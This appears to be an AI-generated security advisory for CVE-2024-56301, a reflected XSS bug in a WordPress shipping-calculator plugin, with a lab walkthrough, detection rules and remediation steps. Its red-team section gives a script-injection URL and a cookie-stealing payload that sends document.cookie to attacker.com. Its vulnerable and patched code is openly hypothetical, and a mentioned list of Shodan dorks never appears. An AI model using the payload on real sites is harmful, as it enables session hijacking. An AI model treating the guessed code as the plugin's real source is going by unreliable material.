CVE-2024-56301
Executive Summary
CVE-2024-56301 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Distance Based Shipping Calculator by Enituretechnology, affecting versions up to and including 2.0.21. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim’s browser session. The CVSS score is 7.1 (High), and no public exploit code or patch is currently available. The plugin is part of the WordPress ecosystem, and the vulnerability is triggered via crafted HTTP requests.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users who installed the plugin from the WordPress dashboard or via ZIP upload are at risk. No official patch has been released, and the vendor has not responded to disclosure attempts. Organizations should treat this as a supply chain risk and consider removing the plugin until a fix is available.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – Victim must click a crafted link.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited service disruption.
Threat Level: High (7.1) – Reflected XSS can be chained with social engineering to compromise admin sessions.
Deep Dive & Mechanics
The vulnerability exists in the distance-based-shipping-calculator plugin, specifically in how it handles URL parameters or POST data when generating error messages or confirmation pages. The plugin fails to sanitize or encode user input before reflecting it in the HTML response. An attacker can craft a malicious URL containing JavaScript payloads in parameters such as zip, weight, or address. When a victim clicks the link, the payload executes in their browser, potentially stealing cookies, redirecting to phishing sites, or performing actions on behalf of the user.
Root Cause: The plugin uses echo $_GET['param'] or similar constructs without applying esc_html() or wp_kses() WordPress sanitization functions.
Attack Vector: Reflected XSS via crafted HTTP GET requests.
Prerequisites: The victim must be logged into WordPress (or have a valid session) for maximum impact, though unauthenticated users are also vulnerable.
Vulnerable vs. Patched Code
Vulnerable Code (version <= 2.0.21):
// In some template or handler file
$zip = $_GET['zip'];
echo "You entered: " . $zip;
Patched Code (hypothetical fix):
$zip = sanitize_text_field($_GET['zip']);
echo "You entered: " . esc_html($zip);
The patched version uses sanitize_text_field() to strip malicious content and esc_html() to encode HTML entities, preventing script injection.
Exploitation & Lab Setup
Red Team (Attack Simulation)
- Setup: Install WordPress with the vulnerable plugin (version 2.0.21) on a local server (e.g., XAMPP or Docker).
- Craft Payload: Use a URL like:
http://target/wp-content/plugins/distance-based-shipping-calculator/calculator.php?zip=<script>alert('XSS')</script> - Deliver: Send the link via email or social engineering.
- Execute: When the victim clicks, the script executes in their browser.
Advanced Payload (cookie theft):
<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
Blue Team (Defense & Detection)
- Monitor Logs: Look for unusual URL parameters containing
<script>,onerror, orjavascript:. - WAF Rules: Block requests with XSS patterns in query strings.
- User Training: Educate users not to click suspicious links.
- Plugin Removal: Disable and remove the plugin immediately.
Indicators of Compromise (IOCs)
- URL Patterns: Requests containing
?zip=<script>or similar XSS vectors. - HTTP Referer: Suspicious referrers from phishing emails.
- Server Logs: 404 errors for non-existent plugin files with XSS payloads.
- Cookie Anomalies: Unexpected changes in WordPress session cookies.
Detection Engineering
YARA Rule
rule CVE_2024_56301_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts against Distance Based Shipping Calculator"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-56301"
strings:
$payload1 = "<script" nocase
$payload2 = "onerror=" nocase
$payload3 = "javascript:" nocase
$plugin_path = "distance-based-shipping-calculator" nocase
condition:
any of ($payload*) and $plugin_path
}
Sigma Rule
title: Reflected XSS Attempt Against Distance Based Shipping Calculator
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting CVE-2024-56301
author: Valters IT
logsource:
category: webserver
product: apache
service: httpd
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'javascript:'
cs-uri-stem|contains: 'distance-based-shipping-calculator'
condition: selection
falsepositives:
- Legitimate use of script tags in admin panels (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-56301 Reflected XSS in Distance Based Shipping Calculator"; flow:to_server,established; content:"distance-based-shipping-calculator"; http_uri; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable and uninstall the plugin until a patch is released.
- Virtual Patching: Use a WAF to block XSS patterns in query strings.
- Code Fix: Apply input sanitization using
sanitize_text_field()and output encoding withesc_html(). - Monitoring: Enable detailed logging for all plugin-related requests.
- User Awareness: Train users to avoid clicking untrusted links.
Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. All data is for authorized security testing and defense purposes only.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.